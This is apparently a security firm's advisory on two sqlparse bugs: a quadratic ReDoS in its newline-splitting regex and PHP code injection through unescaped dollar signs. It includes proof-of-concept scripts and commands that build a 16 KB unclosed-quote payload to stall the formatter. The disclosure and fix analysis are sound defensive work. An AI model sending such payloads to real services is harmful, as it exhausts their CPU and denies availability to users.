ShellvoideShellvoide | Blog
Back to Advisories
Security Advisory··20 min read

Unclosed Quotes Burn CPU, Unescaped Dollars Run PHP: ReDoS and Code Injection in sqlparse

Affected system
sqlparse (PyPI)
Published
Status
Patched
GHSA-3r5h-5jcg-gmgg
ReDoS in the formatter
SeverityHighAffected≤ 0.6.0Fixed in0.6.1
CVE-2026-112307
PHP code injection
SeverityMedium6.2Affected≤ 0.6.0Fixed in0.6.1

NOTE

GHSA-3r5h-5jcg-gmgg · sqlparse · CWE-1333 (Inefficient Regular Expression Complexity) · Severity High (no CVSS vector published) · No CVE assigned at the time of writing

GHSA-xmww-55xg-h3vc / CVE-2026-112307 · sqlparse · CWE-94 (Improper Control of Generation of Code) · CVSS 4.0 score 6.2 (Medium)

Affected: <= 0.6.0 · Fixed: 0.6.1 (both) · Reported through coordinated disclosure. Both fixes shipped in 0.6.1 and both advisories were published on 1 November 2026. 0.6.1 is the project's final release.

sqlparse 0.6.1 went out on Sunday, 1 November 2026, at 19:06 Central European time. The commit message is seven words long. Release 0.6.1 and announce end of maintenance.

Two of the fixes in that release were for bugs we'd reported. A little further down the changelog, Andi Albrecht explains why nothing will come after it. He has looked after sqlparse for years as its sole volunteer maintainer, and the growing pile of security reports, especially the ones produced by automated vulnerability research, has made that unsustainable.

We read that paragraph a couple of times. Some of the reports in that pile were ours.

So this isn't our usual "look what we found" write-up. Both bugs are real and worth understanding, and we'll take them apart properly, with code you can run. But a find-and-fix story with a neat ending would be the wrong way to tell it. The ending here is a library that has been around since 2009 and has stopped shipping fixes, and we were part of how it got there.

Spot the difference

We got to sqlparse through the advisory before ours. We read a lot of other people's security patches. They're cheap to read, and a fix shows you exactly where somebody has already looked, which also tells you where they haven't.

In August the project fixed GHSA-3496-9g83-7v6x (CVE-2026-59894). sqlparse can turn a SQL statement into a ready-to-paste snippet of Python or PHP, and a backslash in the right spot could break out of the quoted string in that snippet. The fix added one line to each output filter. These are the two lines as they shipped in 0.6.0.

Python
# sqlparse/filters/output.py at 0.6.0

# Python output. The SQL ends up between single quotes.
token.value = token.value.replace('\\', '\\\\').replace("'", "\\'")

# PHP output. The SQL ends up between double quotes.
token.value = token.value.replace('\\', '\\\\').replace('"', '\\"')

Take a second with them before reading on. One of these lines does its whole job. The other is a character short.

Both do the sensible thing. They double every backslash and then put a backslash in front of the quote, so nothing in the SQL can end the string early. For Python that's enough, because an ordinary Python string doesn't do anything with its contents except hold them. A PHP string in double quotes is different. Inside one, a dollar sign isn't text.

What PHP does with a dollar sign

If you've ever done a mail merge, you already know this trick. You type Dear $name once and the software fills in a real name on every letter it prints. PHP's double quotes work the same way. Write "Hello $name" and PHP prints whatever the variable $name holds. Wrap it in braces, as in {$expr}, and PHP evaluates a full expression, method calls included.

Run the same harmless statement through both output modes in 0.6.0 and you get this.

Text
SQL in:   SELECT * FROM t WHERE owner = '$probe'

python:   sql = 'SELECT * FROM t WHERE owner = \'$probe\''
php:      $sql = "SELECT * FROM t WHERE owner = '$probe'";

In the Python line, $probe is six characters of text. In the PHP line it's a variable lookup, and whatever $probe holds wherever that line runs ends up in the query. Use the brace syntax instead and you've moved from reading variables to running code. The researchers behind the advisory took it as far as running shell commands on PHP 8.1 and 8.4.

What makes this one irritating is that nobody has to break anything. No quote gets closed early and no backslash gets abused. The generated PHP is perfectly valid. The August fix was built to stop the string from being broken open, and this string never is. It just carries more meaning than the person who typed the SQL should be able to give it.

TIP

Not a programmer? Think of the formatter as a typist copying your text into a form letter. The typist was careful to stop you from ending the letter early. Nobody told them the letter template treats anything starting with a dollar sign as a blank to fill in.

A quote that never closes

The second bug came out of much duller work. KLUE, our automation, spends a lot of its time feeding regular expressions input that's designed to make them struggle, then plotting how long each one takes as the input grows. Almost every curve comes back flat. The one for SPLIT_REGEX bent upward.

That regex runs more often than its name suggests. Every call to sqlparse.format() ends with a serializer that turns the statement back into text and tidies the line endings, and it does this whatever options you pass.

Python
# sqlparse/__init__.py and sqlparse/filters/others.py at 0.6.0  (lightly trimmed)
def format(sql, encoding=None, **options):
    stack = engine.FilterStack()
    options = formatter.validate_options(options)
    stack = formatter.build_filter_stack(stack, options)
    stack.postprocess.append(filters.SerializerUnicode())   # ← unconditional
    return "".join(stack.run(sql, encoding))


class SerializerUnicode:
    @staticmethod
    def process(stmt):
        lines = split_unquoted_newlines(stmt)
        return '\n'.join(line.rstrip() for line in lines)

The highlighted line sits behind no option at all. The serializer has to split on newlines without splitting a quoted string that happens to contain one, and in 0.6.0 that job belonged to a single regular expression.

Python
# sqlparse/utils.py at 0.6.0  (lightly trimmed)
SPLIT_REGEX = re.compile(r"""
(
 (?:                     # Start of non-capturing group
  (?:\r\n|\r|\n)      |  # Match any single newline, or
  [^\r\n'"]+          |  # Match any character series without quotes or newlines, or
  "(?:[^"\\]|\\.)*"   |  # Match double-quoted strings, or
  '(?:[^'\\]|\\.)*'      # Match single quoted strings
 )
)
""", re.VERBOSE)


def split_unquoted_newlines(stmt):
    text = str(stmt)
    lines = SPLIT_REGEX.split(text)
    outputlines = ['']
    for line in lines:
        if not line:
            continue
        elif LINE_MATCH.match(line):
            outputlines.append('')
        else:
            outputlines[-1] += line
    return outputlines

The pattern recognises four kinds of chunk. A newline, a run of ordinary characters, a complete double-quoted string, or a complete single-quoted string. The two highlighted string rules each open a quote, take any mix of ordinary characters and backslash-escaped characters, and then need a closing quote. On normal SQL this is quick and correct.

Now hand it what the advisory describes, which is SELECT followed by backslash-quote pairs, thousands of them.

Text
the rule:    "(?:[^"\\]|\\.)*"
the input:   SELECT \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" ...

The first backslash is ordinary text. The quote after it opens a string, and every \" after that counts as an escaped quote, which is legal string content, so the rule keeps eating until it hits the end of the input. Then it needs a closing quote and there isn't one. The regex engine backs off one step at a time looking for an earlier place the string could have ended, finds none, and gives up on this position. re.split() moves one character right and tries again. The next quote opens a new string and makes the same trip.

Text
SELECT \"\"\"\"\"\"\"\" ... \"
        ^ opens, reads to the end, finds no close, backs off, fails
          ^ opens, reads to the end, finds no close, backs off, fails
            ^ opens, reads to the end ...

Every quote pays for a trip to the end and back, and each trip is one pair shorter than the last. Add them up and N quotes cost about N² / 2 steps, so doubling the input roughly quadruples the work. Sixteen kilobytes of two printable characters is enough to measure in seconds.

TIP

Short version. Imagine checking a long document for unmatched brackets by hand. Each time you meet an opening bracket you read to the very end looking for its partner. If none of them ever close, twice as many brackets means four times the reading.

Proving it, and losing our backslashes on the way

Neither bug needs a live target to demonstrate. The cheapest test is to copy the vulnerable lines out of 0.6.0 and run them on their own, so that's where we started.

The first attempt didn't compile. We'd pasted the regex into a script through a shell heredoc, the shell collapsed every doubled backslash into a single one, and Python rejected the result with unterminated character set. A write-up about escaping, held up by an escaping bug. We wrote the file directly after that.

The second attempt ran and printed a column of zeros for the fast case. On Windows, time.process_time() only moves in steps of about 15.6 milliseconds, so anything quicker reads as nothing. We switched to time.perf_counter(), and this is the script we ended up with.

The offline version

Python
# poc_split.py  ·  python3 poc_split.py  ·  no dependencies
import re
import time

# SPLIT_REGEX, verbatim from sqlparse/utils.py at 0.6.0
SPLIT_REGEX = re.compile(r"""
(
 (?:                     # Start of non-capturing group
  (?:\r\n|\r|\n)      |  # Match any single newline, or
  [^\r\n'"]+          |  # Match any character series without quotes or
                         # newlines, or
  "(?:[^"\\]|\\.)*"   |  # Match double-quoted strings, or
  '(?:[^'\\]|\\.)*'      # Match single quoted strings
 )
)
""", re.VERBOSE)


def seconds(text):
    start = time.perf_counter()
    SPLIT_REGEX.split(text)
    return time.perf_counter() - start


for pairs in (1000, 2000, 4000, 8000):
    unclosed = 'SELECT ' + '\\"' * pairs   # backslash-quote, repeated
    closed = unclosed + '"'                # the same, plus one closing quote
    print(f'{len(unclosed):>6} bytes   '
          f'closed {seconds(closed):.4f}s   '
          f'unclosed {seconds(unclosed):.4f}s')

The two highlighted lines are the whole experiment. Each row times the payload, then the same payload with one closing quote added. On our machine (Python 3.13) it printed this.

Text
  2007 bytes   closed 0.0002s   unclosed 0.0182s
  4007 bytes   closed 0.0002s   unclosed 0.0676s
  8007 bytes   closed 0.0003s   unclosed 0.2722s
 16007 bytes   closed 0.0009s   unclosed 2.6363s

Doubling the input multiplied the time by 3.7, then by 4.0, then by nearly 10 on the last step, which is quadratic growth with some extra pain at the top end. The closed column never left the sub-millisecond range. At 16 KB the gap is about 2,900 times, and the only difference between the two inputs is one character. Our 8 KB row also lines up with the advisory's own figure of about a quarter of a second for an 8,000-byte payload.

The dollar-sign bug needs even less. This script copies the per-token escape from each release and runs two inputs through both. The first is the August backslash case, as a control. The second holds a harmless variable name.

Python
# poc_php.py  ·  python3 poc_php.py  ·  no dependencies
# The per-token escape in OutputPHPFilter, verbatim from each release.

def escape_060(value):
    return value.replace('\\', '\\\\').replace('"', '\\"')


def escape_061(value):
    return (value.replace('\\', '\\\\')
                 .replace('"', '\\"')
                 .replace('$', '\\$'))


inputs = [
    r"SELECT '\' , 1",                          # the August backslash case
    "SELECT * FROM t WHERE owner = '$probe'",  # a harmless PHP variable name
]

for sql in inputs:
    print('SQL in:', sql)
    for release, escape in (('0.6.0', escape_060), ('0.6.1', escape_061)):
        print(f'  {release}  $sql = "{escape(sql)}";')
Text
SQL in: SELECT '\' , 1
  0.6.0  $sql = "SELECT '\\' , 1";
  0.6.1  $sql = "SELECT '\\' , 1";
SQL in: SELECT * FROM t WHERE owner = '$probe'
  0.6.0  $sql = "SELECT * FROM t WHERE owner = '$probe'";
  0.6.1  $sql = "SELECT * FROM t WHERE owner = '\$probe'";

The control passes on both releases, so the August fix holds and this isn't a regression of it. On the second input, 0.6.0 leaves $probe alone inside double quotes and 0.6.1 writes \$probe, which is PHP's escape for a literal dollar sign. The highlighted third replacement is the entire fix. (Escaping the whole statement at once gives the same result as escaping token by token, because every replacement works on single characters.)

The real package

To see both bugs through the installed package, put each release in its own throwaway environment.

Bash
python3 -m venv old && old/bin/pip install -q sqlparse==0.6.0
Bash
python3 -m venv new && new/bin/pip install -q sqlparse==0.6.1

These paths are for Linux and macOS. On Windows the tools live under old\Scripts and new\Scripts, and the time commands below need a POSIX shell such as Git Bash.

For the CPU bug, write the payload and its one-character control to files, then time the sqlformat command on each.

Bash
python3 -c 'open("unclosed.sql", "w").write("SELECT " + "\\\"" * 8000)'
Bash
python3 -c 'open("closed.sql", "w").write("SELECT " + "\\\"" * 8000 + "\"")'
Bash
time old/bin/sqlformat unclosed.sql > /dev/null
Bash
time old/bin/sqlformat closed.sql > /dev/null
Bash
time new/bin/sqlformat unclosed.sql > /dev/null

That file is 8,000 pairs, the same 16 KB as the last row above. On 0.6.0 the first command should take at least as long as the split alone took in our run (2.6 seconds on our machine), since the split is only one stage of format(). The control, and the same file on 0.6.1, finish in about the time it takes Python to start. We haven't printed a stopwatch reading for the CLI because it depends too much on your hardware. The project's own regression test makes a decent second opinion. It formats a 40 KB payload of the same shape, notes that the old code took several seconds on it, and asserts that 0.6.1 finishes in under one.

For the PHP bug, generate a snippet from the harmless statement with each release.

Bash
printf '%s' "SELECT * FROM t WHERE owner = '\$probe'" > probe.sql
Bash
old/bin/sqlformat -l php probe.sql
Bash
new/bin/sqlformat -l php probe.sql
Text
$sql = "SELECT * FROM t WHERE owner = '$probe'";
$sql = "SELECT * FROM t WHERE owner = '\$probe'";

The second line matches what the project's regression tests expect from 0.6.1. We didn't have PHP installed for this write-up, so the next snippet isn't a captured run. It is PHP's documented behaviour for the 0.6.0 line, shown with a harmless variable.

PHP
<?php
// What PHP does with the 0.6.0 line, using a harmless variable
$probe = 'value-from-the-calling-scope';
$sql = "SELECT * FROM t WHERE owner = '$probe'";
echo $sql, PHP_EOL;
// SELECT * FROM t WHERE owner = 'value-from-the-calling-scope'

Run the 0.6.1 line the same way and you get '$probe' back, literally. That's where we stop. The brace syntax goes further, and the advisory's authors confirmed command execution with it, but a variable read already proves the point, and we'd rather not publish a ready-made payload for a library that won't get another release.

WARNING

Run this only on machines you own, inside the throwaway environments above, and never against a shared or production install. If anything you care about formats SQL it didn't write, or generates PHP from it, upgrade to 0.6.1 before you experiment.

Why nothing complained

Regex linters mostly hunt for one shape, a quantifier inside another quantifier like (a+)+, which can blow up within a single match. SPLIT_REGEX doesn't have one, and each of its string rules is linear on any single attempt. The quadratic cost comes from the call, because re.split() retries from every position, and from the input, which has to be full of quotes that never close. A linter reading the pattern sees nothing wrong. A scanner or fuzzer with a normal timeout sees a quarter of a second on 8 KB, a slow but successful response, and moves on. You only notice when you plot time against size.

The PHP bug slips past taint tracking for a different reason. The data does pass through an escaping function on its way out, so a tool asking whether it was sanitised gets a yes. The trouble is that the sanitiser follows the wrong language's rules, and the place where that matters is a string that only becomes code later, in another language, possibly in another process on another day.

People reviewing the August fix saw two identical-looking lines with the same comment above each, and that kind of symmetry reads as thoroughness. The useful question was never whether the two lines matched. It was what each string's reader treats as live.

Who should care

If you...Are you exposed?
pass SQL you didn't write to sqlparse.format(), as web formatters, query consoles, log pipelines and CI bots doYes, to the CPU bug
generate PHP with output_format='php' or sqlformat -l php from someone else's SQL, and something later runs that PHPYes, to the code injection
only call parse() or split()No
run a stock Django appNo. Django depends on sqlparse but only calls format() on SQL scripts the developer wrote, such as migrations
use output_format='python'No. A dollar sign means nothing in a Python string

The ReDoS advisory is rated High without a published CVSS vector, and we're not going to invent one. It costs availability and nothing else. Nothing is read or changed and nothing crashes, the process just stays busy. At a few tens of kilobytes that's seconds per request, and the advisory's extrapolation puts a 256 KB body at around 260 seconds of CPU.

The PHP bug scores 6.2 under CVSS 4.0, with the vector AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L. The interesting part is the split at the end. sqlparse itself takes no damage (VC:N/VI:N/VA:N), because it runs normally and returns a string. The damage lands on the subsequent system, the PHP process that runs the snippet, as high confidentiality and integrity impact (SC:H/SI:H). Someone has to run the generated code (UI:P), and the input arrives through a local formatting run rather than a network listener (AV:L). If you only ever generated snippets from your own SQL, the worst case was a correctness bug where a dollar sign in your query turned into a variable read.

What 0.6.1 changed

The CPU fix was written by the maintainer on the afternoon of the release. It drops the regex for a plain scanner that walks the text once.

Python
# sqlparse/utils.py at 0.6.1  (docstring trimmed)
def split_unquoted_newlines(stmt):
    text = str(stmt)
    length = len(text)
    lines = []
    line_start = pos = 0
    # Searching the end of a string that is never closed scans up to some
    # position. Every later quote of the same kind before that position
    # can't be closed either, so remember it instead of scanning again.
    # Otherwise many unclosed quotes take quadratic time
    # (GHSA-3r5h-5jcg-gmgg).
    unclosed_before = {'"': 0, "'": 0}
    while pos < length:
        char = text[pos]
        if char in '\r\n':
            lines.append(text[line_start:pos])
            pos += 2 if text.startswith('\r\n', pos) else 1
            line_start = pos
        elif char in unclosed_before:
            if pos >= unclosed_before[char]:
                end = _STRING_CONTENT[char].match(text, pos + 1).end()
                if end < length and text[end] == char:
                    pos = end + 1
                    continue
                unclosed_before[char] = end
            pos += 1
        else:
            pos = _UNQUOTED_TEXT.match(text, pos).end()
    lines.append(text[line_start:])
    return lines

The highlighted lines carry the idea. When a search for a closing quote fails, the scanner writes down how far that search got. Any later quote of the same kind before that point can't close either, so it's treated as plain text and never searched again. Each character gets looked at a bounded number of times, and the cost grows in a straight line.

The PHP fix is the one-line change the advisory suggested, contributed through a pull request credited to cve-zh00.

Python
# sqlparse/filters/output.py at 0.6.1
token.value = (token.value.replace('\\', '\\\\')
                          .replace('"', '\\"')
                          .replace('$', '\\$'))

The dollar sign is escaped last, so the backslash it gains doesn't get doubled by the first replacement. The same commit adds regression tests for plain variables, both brace forms, PostgreSQL dollar-quoted strings, quoted identifiers, comments, and a dollar sign that already has a backslash in front of it.

If you depend on sqlparse, upgrade to 0.6.1. No setting does the same job. Then plan for the fact that nothing comes after it. The maintainer has said there will be no further releases, security fixes included, and that he's keeping control of the PyPI project and the repository rather than handing them to someone new. That's good news for your supply chain, since nobody unexpected will start publishing under the name. It also means the next bug in sqlparse is yours to patch, work around or migrate away from. If you format SQL you didn't write, cap the input size and give the call a time budget either way.

TIP

Two habits worth taking from this.

  • When you write text into another language's string, escape it by that language's rules, not your own. Better still, pick a quoting style with nothing live inside. PHP's single-quoted strings don't interpolate at all, which is the structural fix the advisory also suggested.
  • If a regex is driven by split, search or findall, time it on input where a match fails late, at two or three sizes. If doubling the input quadruples the time, replace it with a scanner that remembers what it has already ruled out.

Credits, dates, and the uncomfortable part

Both issues were reported privately through GitHub's security advisory process. Both fixes shipped in 0.6.1, and Andi Albrecht published both advisories alongside it.

Credit is shared, and we want to get it right. GHSA-3r5h-5jcg-gmgg credits our researcher, president-xd, as finder, with eros938 and hash3liZer credited for analysis, and the 0.6.1 changelog also credits LinFeng-1219 with discovering it. GHSA-xmww-55xg-h3vc credits iRevivalx as reporter, Gares95, manus-pi, president-xd and Tan-JunWei as finders, hash3liZer and eros938 for analysis, and cve-zh00 as the remediation developer whose pull request became the fix. The changelog also lists arpitjain099 among the people who found it.

  • 10 August 2026. GHSA-3496-9g83-7v6x (CVE-2026-59894) is published, and the backslash fix ships in 0.6.0 on 13 August.
  • 20 October 2026. The dollar-sign escape is committed.
  • 1 November 2026. The newline scanner is committed in the afternoon. 0.6.1 ships at 19:06 CET and both advisories are published.
  • CVE status. CVE-2026-112307 covers the PHP injection. The ReDoS had no CVE at the time of writing, so track it by its GHSA ID.

Which brings us back to that seven-word commit message.

Look at the PHP advisory's credits again. One missing character reached a single volunteer from half a dozen people, and we were one of them. Each of those reports was about a real bug, and each one was also an evening of somebody else's unpaid time.

We'd report both bugs again. We also think the way reports arrive matters nearly as much as whether they're right. For us that means checking whether something has already been reported before sending it, sending one clear report instead of several partial ones, attaching a patch when we can write one, and taking "not now" as a fair answer from a volunteer. None of that would have kept sqlparse going on its own. It's still the least we owe the next project.

Thank you, Andi, for sqlparse, and for fixing these two on your way out.


Want a read like this against your own parsers and code generators? Book an engagement at shellvoide.com/book, or reach us at info@shellvoide.com.